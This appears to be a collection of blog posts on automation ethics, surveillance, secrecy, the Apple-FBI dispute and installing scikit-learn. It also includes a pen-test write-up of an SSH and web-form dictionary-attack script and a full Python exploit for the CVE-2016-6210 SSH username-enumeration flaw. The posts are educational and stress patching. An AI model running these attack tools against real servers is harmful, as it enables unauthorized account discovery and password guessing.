For those who haven’t watched ‘The Secret Life of Walter Mitty’, I highly recommend a showing. It follows Walter Mitty, a daydreaming “negative asset manager” at LIFE magazine during its conversion to a fully-online offering. It truly is a visually stunning work.
The opening premise, LIFE magazine moving online and the inevitable downsizing and layoffs, struck a chord that has been, and is still, resonating: Is there a place for morality in software developer’s drive toward automation and efficiency?
One would be quite right in saying that the issue of ‘worker layoffs due to automation’ is not a new problem. History is full of examples. What piques my interest is the generality of software automation. The immense reach of software naturally leads to an immense number of avenues for automation.
For example: I found myself talking with a colleague about the problems that they were having with some of their staff. When we finally distilled the problem down to its essence, we discovered that a great portion of his department was dedicated to the handling and sorting of files (originally electronic, then printed, then sorted and filed). I found myself flippantly stating that I could replace most of his department with a script.
My watching of ‘Walter Mitty’ sparked a wave of introspection, and a single question welled within me: If I could write a script that replaces an entire department, should I?
The script would increase the company’s efficiency through a significant reduction in cost. But why is efficiency so important that one would look for avenues to terminate the employment of others? Who benefits from it? Recently, it seems, the cost savings would not make its to the remaining employees but would become a bonus for an executive, or manager, or perhaps dividends for shareholders.
Is inefficiency really that bad? In this case a department is being employed to do work. They are doing the work satisfactorily. Their wages pay for local food, rent, and expenses. This provides a boon to the local economy. If the populace is scraping by financially they surly will not be purchasing cars, houses, or other ‘big ticket items’. Would this not stagnate the greater economy?
Would a 100%-efficient company have anyone working there?
My authorship of this script directly instigates the termination of those employees. The causative relationship is undeniable.
Such scenarios are drenched with hubris as such mechanisms are en-route to also replace developers. In this we are the architects of our own obsolescence and ultimate demise: Dr. Frankenstein would surely have words with us. It is pure arrogance to assume such devices would not also be applied towards our craft.
Some may argue that apparatuses are in place to mitigate such effects, or that the evolution of the market warrants the employee’s termination: ‘They have become obsolete and must retool to stay competitive’, or ‘that is what welfare is for’, or ‘universal basic income is the future for this very reason’. Such comments do not address my question, ‘If one could write a script to replace a large group of people’s jobs, should they?’, rather they address the symptom, or after-effects, of such a decision — The employees are terminated, now what?
Perhaps this is the issue?
At the risk of sounding defensive I must note that I am not one to resist change. Resistance to change in our particular field is a doomed prospect to say the least. But one must address the social and economic implications of their decisions. One must have a conscience.
This question burns within me, and I do not have an answer. The creation of software is a technical achievement, a work of art, a labor of love, and wildly creative. It behooves those who embark on such journeys to consider their implications. Perhaps it is our hubristic tendencies as developers, or our arrogance, that drives us to construct our own monsters. Dr. Frankenstein would surely have words with us.
In running a mock pen-test I ran into an interesting wall with one of my tools, Burp Suite Free Edition. I also discovered some limitations in ncrack, and metasploit’s auxiliary/scanner/ssh/ssh_login tool.
Let’s start at the beginning.
What I needed was a simple dictionary attack tool that would take a list of usernames and a list of passwords and try them on the target. All of these tools do exactly this, but I ran into some limitations that caused them to be unusable for my purposes — and in this particular use case. My target was a group of VMs that simulated servers that were under higher-than-average load. SSH was enabled and one included a web form to sign into (not using ssh accounts). The servers were prone to dropping connections and timing out.
What this did was wreak havoc on ncrack and ssh_login. There are parameters to help with timing and level of aggressiveness (i.e. ssh_login’s ‘BRUTEFORCE_SPEED’ parameter, and the ‘cd’ and ‘T<0-5>’ flags for ncrack), but if a connection took too long or dropped completely, the tools would simply move on to the next username and password combination. In my particular use-case this was unacceptable. I tried using hydra with better-but-still-limited success (Their -w <time> flag would help). What I decided was to quickly run my own simple script.
Considering my requirements (expecting longer-than-normal wait times/timeouts/etc) I was not worried about writing my script in anything particularly fast (I chose Python). What I did want was a tool that was robust against varying timeouts and lengthy responses. I did this with a linear back-off and retry approach. I didn’t want exponential back-off as I still needed to complete the process — linear would do fine.
The meat of the script simply looked as follows:
connected = False wait_backoff = 1 max_attempts = 5 curr_attempt = 0 for user in userlist: for pw in passlist: while not connected: try: curr_attempt += 1 connect to target with user and pw except ssh problem: reinitialize ssh connection wait for wait_backoff seconds increment wait_backoff check if curr_attempt is at or over max_attempts exit with error message else: connected = True connected = False curr_attempt = 0 wait_backoff = 1
The full code can be seen at https://github.com/calebshortt/sshBF/blob/master/ssh_bruteforce.py. This isn’t a brute-force attack but a dictionary attack. This solved my problem of hydra, ssh_login, and ncrack completely stopping if they encounter some slow/laggy servers.
After I had completed my ssh audit, I turned my attention to the login page web form. It was an HTTP POST to an API endpoint. Burp Suite was my first thought and started it up. I had the free edition and figured this was simple enough to not need a paid version of the tool. I was wrong. Burp Suite Free Edition technically allows dictionary attack on web server but throttles the attack to the point that it is unusable, an obvious ploy to make the user purchase the full version. I decided to modify my script for ssh attacks and use it on web forms instead.
This was surprisingly easy and required little change on my part of the ssh script, and it was significantly faster than BURP Suite. I was able to complete my audit with a few extra tools.
The web form code can be found at: https://github.com/calebshortt/web_dict_bf
The EFF has published a well-cited and informed article on why they view the current trend of dragnet surveillance to be thoroughly against the constitution of the U.S.
Even if you are not an American, this article touches on the ideals of many. It describes the context around why the Fourth Amendment was included and goes into specific detail as to who and why they thought it so important:
“Using ‘writs of assistance,’ the King authorized his agents to carry out wide ranging searches to anyone, anywhere, and anytime regardless of whether they were suspected of a crime. These ‘hated writs’ spurred colonists toward revolution and directly motivated James Madison’s crafting of the Fourth Amendment.”
I highly recommend reading the entire article: The NSA’s “General Warrants”: How the Founding Fathers Fought an 18th Century Version of the President’s Illegal Domestic Spying
There are usually two general steps for a software exploit to be created.
The first step is the vulnerability discovery. This is the hardest of the two steps. It requires in-depth knowledge about the target software, device, or protocol and a creative mind that is tuned to edge cases and exceptions.
The second step is the exploitation of the discovered vulnerability. This requires the developer to take the vulnerability description and write a module or script that takes advantage of it.
This article will address the second step: Exploit creation.
First, where do we find vulnerabilities for software if we do not discover them ourselves? There are online databases that store published vulnerabilities (and may include example code) in a searchable format. A few are CVE, exploit-db, or the NVD.
Looking through these databases we will see that all published vulnerabilities have a unique CVE identifier. They uniquely identify each vulnerability that has been discovered and confirmed. Using the databases we can search for potential vulnerabilities of a particular target (Note: This is similar to what a bot might try, after it has scanned a new target server, to find any published vulnerabilities).
Some vulnerability descriptions may even sample code — such as CVE-2016-6210. This makes it trivial to write a script that may utilize this vulnerability. For example, we could use the code given to us in CVE-2016-6210 and expand it to make a command-line script that takes a list of known usernames and tries each one… Which is the vulnerability the CVE describes: “SSH Username Enumeration Vulnerability”.
This script will not breach the system, but what it will do is try to find valid usernames via SSH. This vulnerability may lead to, or become part of, a larger attack. It is important to patch all discovered vulnerabilities as you don’t know how an adversary will try to attack your system.
Given the sample code, here is our improved version:
import paramiko import time import argparse import logging logging.basicConfig() class Engine(object): file_path = None target = '' userlist = ['root'] calc_times =  req_time = 0.0 num_pools = 10 def __init__(self, target, filepath=None, req_time=0.0): self.req_time = req_time self.target = target self.file_path = filepath if self.file_path: self.load_users(filepath) def load_users(self, filepath): data =  with open(filepath, 'r') as f: data = f.read().splitlines() self.userlist = data def partition_list(self, p_list): p_size = len(p_list) / self.num_pools for i in xrange(0, len(p_list), p_size): yield p_list[i:i+p_size] def execute(self): for user in self.userlist: self.test_with_user(user) def test_with_user(self, user): p = 'A' * 25000 ssh = paramiko.SSHClient() start_time = time.clock() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) end_time = time.clock() try: ssh.connect(self.target, username=user, password=p) except: end_time = time.clock() total = end_time - start_time self.calc_times.append(total) avg = reduce(lambda x, y: x + y, self.calc_times) / len(self.calc_times) flag = '*' if total &amp;gt; avg else '' print('%s:\t\t%s\t%s' % (user, total, flag)) time.sleep(self.req_time) ssh.close() def main(ip_addr, filename=None, req_time=0.0): if ip_addr == '' or not ip_addr: print('No target IP specified') return if filename == '': filepname = None engine = Engine(target=ip_addr, filepath=filename, req_time=req_time) engine.execute() if __name__ == "__main__": parser = argparse.ArgumentParser(description='Simple automated script for CVE 2016-6210 -- OpenSSHD 7.2p2 &amp;gt;= version') parser.add_argument('ip', help='[Required] The IP of the target server') parser.add_argument('-u', '--userlist', help='Specify a filepath with a list of usernames to try -- one username per line') parser.add_argument('-t', '--time', help='Set the time between requests (in seconds)') ip_addr = None filename = None req_time = 0.0 args = parser.parse_args() if args.ip: ip_addr = args.ip if args.userlist: filename = args.userlist if args.time: req_time = float(args.time) main(ip_addr, filename, req_time)
It is much easier to write exploits for already-discovered vulnerabilities than it is to discover them yourself.
This is why it is vital that system admins keep their servers and software up to date.
Suppose that, while teaching a class some engaging topic, I keep a secret from the class and only reveal it at the end of the term. This secret provides a sudden realization to the students that they can take into their next year — A real ‘Aha! moment’. I only ask them that they do not reveal the secret to any classes that haven’t taken the course yet so that they can have the same experience. This may work for a while, but inevitably one student, through malice or ignorance, will reveal the secret to someone they shouldn’t have. This then spreads throughout the whole student body until the experience for all future classes is ruined.
The value of a secret can be tied inherently to its secrecy. In the case above, revealing the secret leads to a realization and experience that would have been lost if the knowledge was simply given in a standard manner. We see this in varying degrees in many mediums.
Suspense films can rely on building a feeling without ‘revealing’. String along the audience and tease them with sudden glimpses — or was it? Sometimes the ‘secret’ is never actually revealed and the audience is left wondering what ‘it’ could have been — a lasting effect to be sure! Sometimes the ‘secret’ is revealed to the audience but not to the characters, and the audience is left to observe the resulting effect on the unknowing participants. All experiences in the case of suspense are tied directly to the disclosure or non-disclosure of a secret — and to whom.
Consider the explorer. In ages past an explorer set out into unknown lands or seas to make the ‘unknown’ known. Perhaps it was for knowledge, or perhaps it was for fame, but many died in pursuit of it. Today we can say the same about space. Our chosen few who lead our race in discovering one of the last great ‘unknowns’.
Our desire to discover what is not known is insatiable. We thrive on the pursuit. We revel in it.
Now, perhaps, you are wondering why the title of this article is ‘The Value of A Secret’ and not ‘Humans Love to Discover’. And my answer to you would be that it is important to set the stage for things that are yet to come.
Humans do love to discover — Even if it means that the discovery will reduce their enjoyment.
Let’s consider the magician. We can rest assured that the man standing on stage and pulling rabbits out of hats does not, for better or worse, have divine powers. He has honed his craft that is to be sure, but he is no wizard. He is an expert at deceiving. Our wonder stems from the curiosity welling within each person sitting in the faux-velvet seats that, at one time, may have doubled as a beer coaster. It is that curiosity that may also drive us to speculate on how the trick was done or to buy a ticket to see it again. The experience is in the deception. Once the secret is revealed the experience is ruined for all, and the poor magician who mastered his craft must now work ever harder and devious in his deceptions.
There can be value for those to whom the secret is not revealed — and never is. Secrets can be a source of awe and wonder. They can drive one to build a ship and cross vast oceans, throw caution to the wind and trek into unknown lands, and build a rocket and ride it to the moon.
For the explorer, who is driven by such experiences, there is irony in the fact that their very actions reduce the total number of things left to discover — no matter how little the contribution.
With the awe and inspiration that secrets can evoke it is important to note that some secrets are meant to be discovered and shared. What would have happened if Alexander Fleming did not discover penicillin and shared it with the world? What about the snake-oil salesmen and ‘men with powers’ who used their secrets not to entertain but to deceive many to their detriment. We would agree that it is important to expose frauds and predatory practices.
This is not to say that secrets should never be revealed but to explain that there is value in many secrets staying secrets. This value may be in the form of awe, wonder, suspense, entertainment, and inspiration just to name a few. Alas it is important to note that secrets also protect you.
How do you hide dissidents from oppressive governments without secrets? Just because one lives in a developed country does not make them immune to policy change and legislation. What about communication? How can you talk with the assurance that there isn’t anyone listening in to your conversation? Shouldn’t your bank information be kept secret from prying eyes?
Sometimes is it important to have secrets. Secrets that are hidden from everyone but the very few people you trust to hold them. If one of your trusted few ever reveals the secret they are removed from the privileged few.
Many governments in recent times should be removed from the privileged few.
As many of you may have heard, in February the FBI requested that Apple make a modification to their systems to allow them to have access to an encrypted iPhone — which swiftly invoked the ire of the security community. Many experts asked why the FBI would even ask such a “ludicrous” and “short-sighted” question.
They questioned the FBI’s understanding of basic encryption principles and quipped that the decision must have been made by a politician since no security expert would have made such a request. They further pointed to the past revelations about Snowden’s leaks and how many government associations have recently (and continue to) abuse the powers they have been given in this area.
Many worried that such a request would set a precedent, and even the FBI director admitted that it most likely would.
Apple responded in kind and denied the request. This signaled the start of significant political posturing by both players to garner support for their cause. The security community and many industry leaders quickly sided with Apple.
Ultimately the FBI elected to contract a third party who used an unknown exploit to gain access to the device. Both parties ceased their posturing and stood down.
Three months later we observe the resulting fallout of this debacle.
Before this event even happened, trust in the U.S. government was near an all-time low, and this event did little to instill further confidence.
Beyond this, some have claimed that Apple “won” the battle as they did not provide the requested modifications — The FBI found another way around that did not require a court decision. This may be premature.
What Apple did do was prevent (for the time being) the FBI from having easy access to any iPhone they want in a systemic manner. This is important since the previous abuses of power stemmed from easy and systemic access to data (with or without warrants).
Prevention of such access requires the FBI to treat each case as its own separate issue:
The difference is in the difficulty and the case-by-case nature. It is not easy to do this process for 100,000 devices at one time. And it should not be. That is beyond the scope of a single case and some would say borders on surveillance-level.
As with most things, there is no black-and-white. There is always a trade-off between privacy and security, and it is not always clear which path should be taken.
What must be considered is that each breach of privacy for sake of security is a one-way transition. By breaching privacy through court-order, or through legislation, a precedent is set. This makes subsequent and wider-scope breaches easier. Alas there is an opportunity cost to our drive for total security. By resisting the FBI, Apple has resisted the erosion of privacy on a systemic level. Access to the device was still gained, but not through systemic means.
Furthermore, this event has heightened the awareness of privacy in the general populace. This can only be taken as a good sign. One should take their privacy seriously and be critical of any institution that intends to infringe on it. Not only did individuals take measures to secure their privacy, but other institutions did too. WhatsApp decided to strengthen their encryption as a direct result of the Apple case.
Unfortunately, the lack of precedent also means that this particular conflict may arise again in the future. And that future may include some event that spurs the government to forgo long-term thinking and rationality for a short-term solution to their immediate problems… Because, that hasn’t happened before.
All-in-all the result is favourable to both parties. Apple is enshrined as an advocate for privacy and maintains its position without alienating their consumers, while the FBI was able to ultimately gain access to the device in question. As for the future? No-one knows.
Scikit-learn is a great data mining library for Python. It provides a powerful array of tools to classify, cluster, reduce, select, and so much more. I first encountered scikit-learn when I was developing prototypes for my first business venture. I wanted to use something that was easy and powerful. Scikit-learn was just that tool.
The only problem with scikit-learn is that it builds off of some powerful-yet-finicky libraries, and you will need to install those libraries, NumPy and SciPy, before you can proceed with installing scikit-learn.
To a novice, this can be a frustrating task since the order of installation matters and many Google searches will only produce unhelpful and long-winded responses. Thus, my motivation to set the record straight and provide a quick tutorial on how to install scikit-learn — mostly on Windows, but I have provided links and notes on both Linux and Mac installations as well.
In the process of this tutorial, you will install (or already have) the following — in this order:
NOTE: I have provided the links unlabeled above because, like all tech/installation tutorials, over time they become obsolete. By providing the links as they are, it is my hope that even if new versions come out, you will be able to use this tutorial to find the resources you need.
If you do not already have Python, install it now at the address provied above (https://www.python.org/downloads/). I will be using Python 2.7 for this tutorial.
The installer for python is quick and good. Once installed, we will need to check to see if Python is available on the command line. Open a terminal by searching for ‘cmd’ or running C:\Windows\System32\cmd.exe. I would recommend creating a shortcut if you are doing this a lot.
in the command line, enter:
something similar to “Python 2.7.6” should display. That shows that python is working and accessible from the cmd line.
NumPy is a powerful library for Python that contains advanced numerical capabilities.
Install NumPy by downloading the correct installer using the link provided above (http://sourceforge.net/projects/numpy/files/NumPy/1.10.2/) then run the installer.
NOTE: There are a few installers based on your OS version AND the version of Python you have. It is important that you find the right installer for your OS and Python version!
Download the SciPy installer using the link provided above (http://sourceforge.net/projects/scipy/files/scipy/0.16.1/) and run it.
NOTE: There are a few installers based on your OS version AND the version of Python you have. It is important that you find the right installer for your OS and Python version!
Pip is a package manager specifically for Python. It comes in handy so much that I highly recommend that you install it to help manage python packages.
Go to the link provided above (https://pip.pypa.io/en/stable/installing/).
The easiest way to install pip on Windows is by using the ‘get_pip.py’ script and then running it in your command line:
If you are on Linux you can use apt-get (or whatever package manager you have):
sudo apt-get install python-pip
NOTE: More information on installing scikit-learn at the link provided above (http://scikit-learn.org/stable/install.html)
On Windows: use pip to install scikit-learn:
pip install scikit-learn
On Linux: Use the package manager or follow the build instructions at http://www.bogotobogo.com/python/scikit-learn/scikit-learn_install.php
Now we must see if everything installed correctly. Open up a command line terminal and type:
This will open a python interpreter. You will know this because there will be some text and three chevrons, “>>>”, prompting input. Type:
If nothing happens and another prompt appears scikit-learn has been installed correctly.
If an error occurs, there might have been a mis-step in the process. Go back through the tutorial to see if any steps were missed or follow the error message that was given.